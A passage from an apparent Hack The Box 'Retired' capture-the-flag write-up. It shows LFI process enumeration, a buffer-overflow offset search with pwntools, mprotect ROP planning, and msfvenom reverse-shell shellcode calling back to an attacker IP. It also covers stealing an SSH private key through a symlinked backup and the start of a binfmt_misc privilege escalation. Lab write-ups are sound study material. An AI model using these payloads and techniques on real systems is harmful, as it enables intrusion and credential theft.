    socket_close($socket);
}
?>
```

This script will open a connection with a service running on port `1337` locally on the box. Then, it will send our uploaded file to that service. So, we need to get information about that service.

Searching online for "lfi find running processes" finds [this article](https://tun0.blog/posts/pidlfi/), which mentions this command:

```bash
$ for i in $(seq 1 5000); do echo $i >> pid.txt; done && \
ffuf -c -w pid.txt:FUZZ -u http://10.0.0.19/lfi.php?lang=/proc/FUZZ/cmdline -fw 1
```

We modify it slightly to create this:

```bash
$ for i in $(seq 1 5000); do echo $i >> pid.txt; done && \
ffuf -c -w pid.txt:FUZZ -u http://10.10.11.154/index.php\?page\=/proc/FUZZ/cmdline -fs 0

406                     [Status: 302, Size: 31, Words: 1, Lines: 1, Duration: 26ms]
582                     [Status: 302, Size: 49, Words: 3, Lines: 1, Duration: 30ms]
583                     [Status: 302, Size: 49, Words: 3, Lines: 1, Duration: 30ms]
:: Progress: [5000/5000] :: Job [1/1] :: 1434 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
```

So, in the first 5000 PIDs we have `406`, `582`, and `583`. We can now run `curl http://10.10.11.154/index.php\?page\=/proc/406/cmdline --output -` and see that the program was launched with the command `/usr/bin/activate_license 1337`.

Another approach would have been to look at the contents of the `/proc/sched_debug` file, since that also shows information about running processes.

Let's run `curl http://10.10.11.154/index.php\?page\=/usr/bin/activate_license --output activate_license` to download that binary: [activate\_license](https://github.com/HHousen/hack-the-box/blob/master/Machines/Retired/activate_license/README.md).

## Foothold

Running `file activate_license` shows the following:

```
activate_license: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=554631debe5b40be0f96cabea315eedd2439fb81, for GNU/Linux 3.2.0, with debug_info, not stripped
```

We can see the binary security settings with [checksec](https://docs.pwntools.com/en/stable/commandline.html#pwn-checksec) from [pwntools](https://github.com/Gallopsled/pwntools):

```
$ checksec activate_license
[*] 'activate_license'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

We decompile the binary using [Ghidra](https://ghidra-sre.org/). Here is the decompiled `activate_license` function:

```
void activate_license(int sockfd)

{
  int iVar1;
  ssize_t sVar2;
  int *piVar3;
  char *pcVar4;
  sqlite3_stmt *stmt;
  sqlite3 *db;
  uint32_t msglen;
  char buffer [512];
  
  sVar2 = read(sockfd,&msglen,4);
  if (sVar2 == -1) {
    piVar3 = __errno_location();
    pcVar4 = strerror(*piVar3);
    error(pcVar4);
  }
  msglen = ntohl(msglen);
  printf("[+] reading %d bytes\n",(ulong)msglen);
  sVar2 = read(sockfd,buffer,(ulong)msglen);
  if (sVar2 == -1) {
    piVar3 = __errno_location();
    pcVar4 = strerror(*piVar3);
    error(pcVar4);
  }
  iVar1 = sqlite3_open("license.sqlite",&db);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  sqlite3_busy_timeout(db,2000);
  iVar1 = sqlite3_exec(db,
                       "CREATE TABLE IF NOT EXISTS license (   id INTEGER PRIMARY KEY AUTOINCREMENT,    license_key TEXT)"
                       ,0,0,0);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  iVar1 = sqlite3_prepare_v2(db,"INSERT INTO license (license_key) VALUES (?)",0xffffffff,&stmt,0);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  iVar1 = sqlite3_bind_text(stmt,1,buffer,0x200,0);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  iVar1 = sqlite3_step(stmt);
  if (iVar1 != 0x65) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  iVar1 = sqlite3_reset(stmt);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  iVar1 = sqlite3_finalize(stmt);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  iVar1 = sqlite3_close(db);
  if (iVar1 != 0) {
    pcVar4 = (char *)sqlite3_errmsg(db);
    error(pcVar4);
  }
  printf("[+] activated license: %s\n",buffer);
  return;
}
```

There is a buffer overflow in this function. The buffer is set to 512 bytes, but then the line `sVar2 = read(sockfd,buffer,(ulong)msglen);` will read `msglen` bytes from the socket into the buffer. So, if we upload a license to the program that is larger than 512 bytes, we should be writing onto the stack. For a normal buffer overflow, we would be able to add some shell code, create a [NOP sled](https://stackoverflow.com/a/14760699), and then overwrite the return address with the address of our shell code. The problem is that we have "NX enabled" according to `checksec`. NX stands for "no execution," so even if we were to return to shell code, it would not be executed.

Additionally, `RELRO` is set to full: "Full RELRO makes the entire GOT read-only which removes the ability to perform a "GOT overwrite" attack, where the GOT address of a function is overwritten with the location of another function or a ROP gadget an attacker wants to run" ([source](https://ctf101.org/binary-exploitation/relocation-read-only/)). Therefore, we cannot perform an attack similar to the one from [PicoCTF 2019's GoT](https://picoctf2019.haydenhousen.com/binary-exploitation/got). Finally, PIE is enabled: "PIE stands for Position Independent Executable, which means that every time you run the file it gets loaded into a different memory address. This means you cannot hardcode values such as function addresses and gadget locations without finding out where they are" ([source](https://ir0nstone.gitbook.io/notes/types/stack/pie)).

We are going to use GDB to get the offset for this buffer overflow attack. There are many projects that exist to fill in the gaps in the GDB debugger: [pwndbg](https://github.com/pwndbg/pwndbg), [peda](https://github.com/longld/peda), [GEF](https://github.com/hugsy/gef). For some reason, when using normal GDB or [GEF](https://github.com/hugsy/gef), GDB doesn't pick up the `SIGSEGV, Segmentation fault` when we send our input. Thus, we cannot read the RSP. However, when I used [peda](https://github.com/longld/peda), it worked! So, use peda. This issue probably happens because the program forks when it receives a request. According to [this StackOverflow answer](https://stackoverflow.com/a/15127892), we can run `set follow-fork-mode child`, but this doesn't work (unless peda is used of course).

To exploit this buffer overflow vulnerability, we need to get the offset, which cannot be easily automated like usual since the program receives input via a port. Launch GDB-PEDA with `gdb --args ./activate_license 1338` and run it with `run`. Then, run the below script, which uses pwntools to connect to the program and send a pattern that can be used to determine the offset (this can also be done with `pattern_create 700` in GDB-PEDA, but then the request needs to be sent manually):

```python
from pwn import *

io = remote('127.0.0.1', 1338)

payload_size = 700
size_value = p32(payload_size, endian='big')  # 32 bit big endian

payload = [size_value, cyclic(payload_size)]
payload = b"".join(payload)

io.send(payload)
```

Upon running the above script, GDB-PEDA should produce the following:

```
[+] accepted client connection from 127.0.0.1:53989
[Attaching after Thread 0x7ffff7b0a480 (LWP 72309) fork to child process 72392]
[New inferior 2 (process 72392)]
[Detaching after fork from parent process 72309]
[Inferior 1 (process 72309) detached]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] reading 700 bytes
[+] activated license: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag

Thread 2.1 "activate_licens" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff7b0a480 (LWP 72392)]
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
RAX: 0x2d4
RBX: 0x5555555557c0 (<__libc_csu_init>: push   r15)
RCX: 0x0
RDX: 0x0
RSI: 0x0
RDI: 0x7fffffffb430 --> 0x7ffff7cc9d90 (<__funlockfile>:        mov    rdi,QWORD PTR [rdi+0x88])
RBP: 0x6661616566616164 ('daafeaaf')
RSP: 0x7fffffffbbc8 ("faafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
RIP: 0x5555555555c0 (<activate_license+643>:    ret)
R8 : 0x0
R9 : 0x7ffff7e030c0 --> 0x0
R10: 0x7ffff7e02fc0 --> 0x0
R11: 0x246
R12: 0x555555555220 (<_start>:  xor    ebp,ebp)
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5555555555b9 <activate_license+636>:       call   0x5555555550b0 <printf@plt>
   0x5555555555be <activate_license+641>:       nop
   0x5555555555bf <activate_license+642>:       leave
=> 0x5555555555c0 <activate_license+643>:       ret
   0x5555555555c1 <main>:       push   rbp
   0x5555555555c2 <main+1>:     mov    rbp,rsp
   0x5555555555c5 <main+4>:     sub    rsp,0x60
   0x5555555555c9 <main+8>:     mov    DWORD PTR [rbp-0x54],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffbbc8 ("faafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0008| 0x7fffffffbbd0 ("haafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0016| 0x7fffffffbbd8 ("jaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0024| 0x7fffffffbbe0 ("laafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0032| 0x7fffffffbbe8 ("naafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0040| 0x7fffffffbbf0 ("paafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0048| 0x7fffffffbbf8 ("raafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
0056| 0x7fffffffbc00 ("taafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00005555555555c0 in activate_license (sockfd=0x4) at activate_license.c:64
64      activate_license.c: No such file or directory.
```

Now, run `x/wx $rsp` to get the RSP, which we overwrote: `0x7fffffffbbc8: 0x66616166`. The value can also be viewed in the output above: `faaf`. Finally, run `python -c 'from pwn import *; print(cyclic_find(unhex("66616166")[::-1]))'` to find the offset of those 4 bytes in the pattern. We get an offset of `520`.

Now for the actual exploit. We are going to use `sys_mprotect` to turn off the NX protection using an approach similar to [this guide](https://syrion.me/blog/elfx64-bypass-nx-with-mprotect/). Other resources: [ROP Exploit – MProtect() and Shellcode](https://failingsilently.wordpress.com/2017/12/17/rop-exploit-mprotect-and-shellcode/) and [ARM Exploitation — Defeating NX By Invoking mprotect() Using ROP](https://infosecwriteups.com/arm-exploitation-defeating-nx-by-invoking-mprotect-using-rop-1450b6667c16).

From the linx man pages, we know that "mprotect() changes the access protections for the calling process's memory pages containing any part of the address range in the interval \[addr, addr+len-1]." The function has this syntax: `int mprotect(void *addr, size_t len, int prot);`. We will set the `addr` to the beginning of the stack, `len` to the size of the stack, and `prot` to `0x7`, which stands for RWX. This will make the entire stack executable.

The calling convention for ELF 64 is the following:

* Arguments in RDI, RSI, RDX, RCX, R8, R9
* Return Value in RAX

So we need to put the stack address in the RDI register, the length in the RSI register and the value `0x7` in the RDX register. The [aforementioned guide](https://syrion.me/blog/elfx64-bypass-nx-with-mprotect/) uses [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) to do this, which is a great tool, but we we can do it automatically with pwntools.

The issue is we don't have those values. Additionally, the machine probably has ASLR enabled, which makes them randomize each time the program is started. However, due to the LFI exploit, we can read `/proc/$PID/maps`. "Each row in `/proc/$PID/maps` describes a region of contiguous virtual memory in a process or thread" ([source](https://stackoverflow.com/a/1401595)). You can learn more from the [linux kernel documentation](https://www.kernel.org/doc/html/latest/filesystems/proc.html#process-specific-subdirectories) and [this post](https://www.linkedin.com/pulse/hacking-proc-filesystem-memory-arthur-damm).

We can get the maps for process `406`, the `activate_license` process, like so:

```
curl http://10.10.11.154/index.php\?page\=/proc/406/maps
55e0aa5a0000-55e0aa5a1000 r--p 00000000 08:01 2408                       /usr/bin/activate_license
55e0aa5a1000-55e0aa5a2000 r-xp 00001000 08:01 2408                       /usr/bin/activate_license
55e0aa5a2000-55e0aa5a3000 r--p 00002000 08:01 2408                       /usr/bin/activate_license
55e0aa5a3000-55e0aa5a4000 r--p 00002000 08:01 2408                       /usr/bin/activate_license
55e0aa5a4000-55e0aa5a5000 rw-p 00003000 08:01 2408                       /usr/bin/activate_license
55e0ab5ba000-55e0ab5db000 rw-p 00000000 00:00 0                          [heap]
7f91a2a27000-7f91a2a29000 rw-p 00000000 00:00 0 
7f91a2a29000-7f91a2a2a000 r--p 00000000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f91a2a2a000-7f91a2a2c000 r-xp 00001000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f91a2a2c000-7f91a2a2d000 r--p 00003000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f91a2a2d000-7f91a2a2e000 r--p 00003000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f91a2a2e000-7f91a2a2f000 rw-p 00004000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f91a2a2f000-7f91a2a36000 r--p 00000000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f91a2a36000-7f91a2a46000 r-xp 00007000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f91a2a46000-7f91a2a4b000 r--p 00017000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f91a2a4b000-7f91a2a4c000 r--p 0001b000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f91a2a4c000-7f91a2a4d000 rw-p 0001c000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f91a2a4d000-7f91a2a51000 rw-p 00000000 00:00 0 
7f91a2a51000-7f91a2a60000 r--p 00000000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f91a2a60000-7f91a2afa000 r-xp 0000f000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f91a2afa000-7f91a2b93000 r--p 000a9000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f91a2b93000-7f91a2b94000 r--p 00141000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f91a2b94000-7f91a2b95000 rw-p 00142000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f91a2b95000-7f91a2bba000 r--p 00000000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f91a2bba000-7f91a2d05000 r-xp 00025000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f91a2d05000-7f91a2d4f000 r--p 00170000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f91a2d4f000-7f91a2d50000 ---p 001ba000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f91a2d50000-7f91a2d53000 r--p 001ba000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f91a2d53000-7f91a2d56000 rw-p 001bd000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f91a2d56000-7f91a2d5a000 rw-p 00000000 00:00 0 
7f91a2d5a000-7f91a2d6a000 r--p 00000000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f91a2d6a000-7f91a2e62000 r-xp 00010000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f91a2e62000-7f91a2e96000 r--p 00108000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f91a2e96000-7f91a2e9a000 r--p 0013b000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f91a2e9a000-7f91a2e9d000 rw-p 0013f000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f91a2e9d000-7f91a2e9f000 rw-p 00000000 00:00 0 
7f91a2ea4000-7f91a2ea5000 r--p 00000000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f91a2ea5000-7f91a2ec5000 r-xp 00001000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f91a2ec5000-7f91a2ecd000 r--p 00021000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f91a2ece000-7f91a2ecf000 r--p 00029000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f91a2ecf000-7f91a2ed0000 rw-p 0002a000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f91a2ed0000-7f91a2ed1000 rw-p 00000000 00:00 0 
7ffd35848000-7ffd35869000 rw-p 00000000 00:00 0                          [stack]
7ffd358d3000-7ffd358d7000 r--p 00000000 00:00 0                          [vvar]
7ffd358d7000-7ffd358d9000 r-xp 00000000 00:00 0                          [vdso]
```

So, from the above output we know that the libc base is at `7f91a2b95000`, the libsqlite3 base is at `7F91A2D5A000`, the stack start is at `7ffd35848000`, and the stack end is at `7ffd35869000`.

We can write a python function to get these values programatically:

```python
def get_addresses(pid):
    r = requests.get(
        f"http://10.10.11.154/index.php?page=/proc/{pid}/maps", allow_redirects=False
    )
    libc_line = re.search("^.*libc.*$", r.text, re.M).group(0)
    libc_base = int(libc_line.split("-")[0], 16)
    libc_path = libc_line.split(" ")[-1]

    libsqlite_line = re.search("^.*libsqlite.*$", r.text, re.M).group(0)
    libsqlite_base = int(libsqlite_line.split("-")[0], 16)
    libsqlite_path = libsqlite_line.split(" ")[-1]

    stack_line = re.search("^.*\[stack\].*$", r.text, re.M).group(0).split("-")
    stack_base = int(stack_line[0], 16)
    stack_end = int(stack_line[1].split()[0], 16)

    return libc_base, libc_path, libsqlite_base, libsqlite_path, stack_base, stack_end
```

The `re.M` flag makes `^` and `$` "match at the start or end of any line within the input string instead of the start or end of the entire string" ([source](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)). We also get the path for libc and libsqlite so we can use them with pwntools automatic gadget finder.

Alright, we have the offset, the library bases, the library paths, and the exploit arguments. Now all we need is some shell code. We can execute `msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.116 LPORT=55455 -f py` to get some shellcode from Metasploit that will spawn a reverse shell:

```python
buf =  b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"
buf += b"\x97\x48\xb9\x02\x00\xd8\x9f\x0a\x0a\x0e\x74\x51\x48"
buf += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e"
buf += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"
buf += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48"
buf += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
```

Finally, we write [exploit.py](https://github.com/HHousen/hack-the-box/blob/master/Machines/Retired/exploit.py) to encapsulate all these ideas and actually perform the attack. Run a listener with pwncat by running `pwncat-cs -lp 55455` (or use netcat with `nc -nvlp 55455`). This gives us a shell as the `www-data` user.

## Lateral Movement

We start in `/var/www`, which has a few strange dated ZIP files that vary by 1 minute in creation date:

```
(remote) www-data@retired:/var/www$ ls -la
total 1512
drwxrwsrwx  3 www-data www-data   4096 Aug  5 05:10 .
drwxr-xr-x 12 root     root       4096 Mar 11 14:36 ..
-rw-r--r--  1 dev      www-data 505153 Aug  5 05:08 2022-08-05_05-08-01-html.zip
-rw-r--r--  1 dev      www-data 505153 Aug  5 05:09 2022-08-05_05-09-05-html.zip
-rw-r--r--  1 dev      www-data 505153 Aug  5 05:10 2022-08-05_05-10-05-html.zip
drwxrwsrwx  5 www-data www-data   4096 Mar 11 14:36 html
-rw-r--r--  1 www-data www-data  12288 Aug  5 05:07 license.sqlite
```

Running `ls` again shows new files, so it looks like they get recreated every minute. Let's run [pspy](https://github.com/DominicBreuker/pspy) to see what is happening. You can upload this tool easily with `pwncat`'s built-in `upload` command. This doesn't reveal anything.

We run [LinPEAS](https://github.com/carlospolop/PEASS-ng/blob/master/linPEAS/README.md) and look for anything that runs each minute. We see this output:

```
╔══════════╣ System timers
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers
NEXT                        LEFT           LAST                        PASSED               UNIT                         ACTIVATES
Fri 2022-08-05 05:21:00 UTC 33s left       Fri 2022-08-05 05:20:01 UTC 24s ago              website_backup.timer         website_backup.service
```

We run `find / -name website_backup.service 2>/dev/null` to find the file at `/etc/systemd/system/website_backup.service`. Looking at the file, we see that it runs `/usr/bin/webbackup`:

```
(remote) www-data@retired:/tmp$ cat /etc/systemd/system/website_backup.service
[Unit]
Description=Backup and rotate website

[Service]
User=dev
Group=www-data
ExecStart=/usr/bin/webbackup

[Install]
WantedBy=multi-user.target
```

```bash
(remote) www-data@retired:/tmp$ cat /usr/bin/webbackup
#!/bin/bash
set -euf -o pipefail

cd /var/www/

SRC=/var/www/html
DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip"

/usr/bin/rm --force -- "$DST"
/usr/bin/zip --recurse-paths "$DST" "$SRC"

KEEP=10
/usr/bin/find /var/www/ -maxdepth 1 -name '*.zip' -print0 \
    | sort --zero-terminated --numeric-sort --reverse \
    | while IFS= read -r -d '' backup; do
        if [ "$KEEP" -le 0 ]; then
            /usr/bin/rm --force -- "$backup"
        fi
        KEEP="$((KEEP-1))"
    done
```

This script runs as the `dev` user and it creates a ZIP file from `/var/www/html` every minute. We can symlink `dev`'s SSH private key into a ZIP file by running `cd /var/www/html && ln -s /home/dev/.ssh/id_rsa id_rsa`. Copy the resulting ZIP file to `/tmp` by running `cp 2022-08-05_05-28-05-html.zip /tmp` and unzip with with `unzip 2022-08-05_05-28-05-html.zip`:

```
Archive:  2022-08-05_05-28-05-html.zip
   creating: var/www/html/
   creating: var/www/html/js/
  inflating: var/www/html/js/scripts.js
  inflating: var/www/html/activate_license.php
   creating: var/www/html/assets/
  inflating: var/www/html/assets/favicon.ico
   creating: var/www/html/assets/img/
  inflating: var/www/html/assets/img/close-icon.svg
  inflating: var/www/html/assets/img/navbar-logo.svg
   creating: var/www/html/assets/img/about/
  inflating: var/www/html/assets/img/about/2.jpg
  inflating: var/www/html/assets/img/about/4.jpg
  inflating: var/www/html/assets/img/about/3.jpg
  inflating: var/www/html/assets/img/about/1.jpg
   creating: var/www/html/assets/img/logos/
  inflating: var/www/html/assets/img/logos/facebook.svg
  inflating: var/www/html/assets/img/logos/microsoft.svg
  inflating: var/www/html/assets/img/logos/google.svg
  inflating: var/www/html/assets/img/logos/ibm.svg
   creating: var/www/html/assets/img/team/
  inflating: var/www/html/assets/img/team/2.jpg
  inflating: var/www/html/assets/img/team/3.jpg
  inflating: var/www/html/assets/img/team/1.jpg
  inflating: var/www/html/assets/img/header-bg.jpg
  inflating: var/www/html/beta.html
  inflating: var/www/html/default.html
  inflating: var/www/html/index.php
  inflating: var/www/html/id_rsa
   creating: var/www/html/css/
  inflating: var/www/html/css/styles.css
```

Now, just download `/tmp/var/www/html/id_rsa`. We can now connect as `dev` by running `ssh dev@10.10.11.154 -i id_rsa` (or use `pwncat-cs`). Finally, get the `user.txt` flag with `cat ~/user.txt`.

## Privilege Escalation

In `dev`'s home folder we get the source code for the `activate_license` program, which is nice: [activate\_license.zip](https://github.com/HHousen/hack-the-box/blob/master/Machines/Retired/activate_license.zip).

We look through the `/home/dev/emuemu/` directory:

```
(remote) dev@retired:/home/dev$ ls -la emuemu/
total 68
drwx------ 3 dev dev  4096 Mar 11 14:36 .
drwx------ 6 dev dev  4096 Aug  5 05:33 ..
-rw------- 1 dev dev   673 Oct 13  2021 Makefile
-rw------- 1 dev dev   228 Oct 13  2021 README.md
-rw------- 1 dev dev 16608 Oct 13  2021 emuemu
-rw------- 1 dev dev   168 Oct 13  2021 emuemu.c
-rw------- 1 dev dev 16864 Oct 13  2021 reg_helper
-rw------- 1 dev dev   502 Oct 13  2021 reg_helper.c
drwx------ 2 dev dev  4096 Mar 11 14:36 test

(remote) dev@retired:/home/dev$ cat emuemu/emuemu.c
#include <stdio.h>

/* currently this is only a dummy implementation doing nothing */

int main(void) {
    puts("EMUEMU is still under development.");
    return 1;
}

(remote) dev@retired:/home/dev$ ls -la emuemu/test/
total 12
drwx------ 2 dev dev 4096 Mar 11 14:36 .
drwx------ 3 dev dev 4096 Mar 11 14:36 ..
-rwxr-xr-x 1 dev dev   70 Oct 13  2021 examplerom

(remote) dev@retired:/home/dev$ cat emuemu/test/examplerom
7OSTRICHROM
this is a minimal rom with a valid file type signature
```

The actually interesting file is `emuemu/reg_helper.c`:

```
#define _GNU_SOURCE

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

int main(void) {
    char cmd[512] = { 0 };

    read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0;

    int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);
    if (-1 == fd)
        perror("open");
    if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1)
        perror("write");
    if (close(fd) == -1)
        perror("close");

    return 0;
}
```

Searching for "/proc/sys/fs/binfmt\_misc/register" finds [this StackOverflow answer](https://stackoverflow.com/a/68885059), which states that this file is "an interface to the kernel's mechanism for setting up binary formats."

Furthermore, the `/home/dev/emuemu/Makefile` contains some helpful information:

```
(remote) dev@retired:/home/dev/emuemu$ cat Makefile
CC := gcc
CFLAGS := -std=c99 -Wall -Werror -Wextra -Wpedantic -Wconversion -Wsign-conversion

SOURCES := $(wildcard *.c)
TARGETS := $(SOURCES:.c=)

.PHONY: install clean

install: $(TARGETS)
        @echo "[+] Installing program files"
        install --mode 0755 emuemu /usr/bin/
        mkdir --parent --mode 0755 /usr/lib/emuemu /usr/lib/binfmt.d
        install --mode 0750 --group dev reg_helper /usr/lib/emuemu/
        setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper

        @echo "[+] Register OSTRICH ROMs for execution with EMUEMU"
        echo ':EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:' \
                | tee /usr/lib/binfmt.d/emuemu.conf \
                | /usr/lib/emuemu/reg_helper

clean:
        rm -f -- $(TARGETS)
```

The `reg_helper` file is also located at `/usr/lib/emuemu/reg_helper` and has the `cap_dac_override` capability. This means it can "bypass file read, write, and execute permission checks" ([source](https://man7.org/linux/man-pages/man7/capabilities.7.html)).

Searching for exploits involving `/proc/sys/fs/binfmt_misc/register` finds [toffan/binfmt\_misc](https://github.com/toffan/binfmt_misc), which looks promising. We also find **these two amazing blog posts summarizing the issue we are about to exploit**:

* [What is SUID? Shadow SUID for Privilege Persistence: Part 1](https://www.sentinelone.com/blog/shadow-suid-for-privilege-persistence-part-1/)
* [SUID Linux: Shadow SUID for Privilege Persistence: Part 2](https://www.sentinelone.com/blog/shadow-suid-privilege-persistence-part-2/)

When we run a command on linux, "the kernel reads the first 128 characters of the file. It then iterates over the registered binary-format-handlers to determine which handler should be used. That way, when we execute a file that begins with a #! shebang, the kernel knows it is a script, and the binfmt\_script handler is used to find the relevant interpreter (as indicated after the shebang). Similarly, when the file begins with x7fELF, the kernel knows it is a regular Linux binary, and the binfmt\_elf handler is used to load the binary into the elf interpreter."

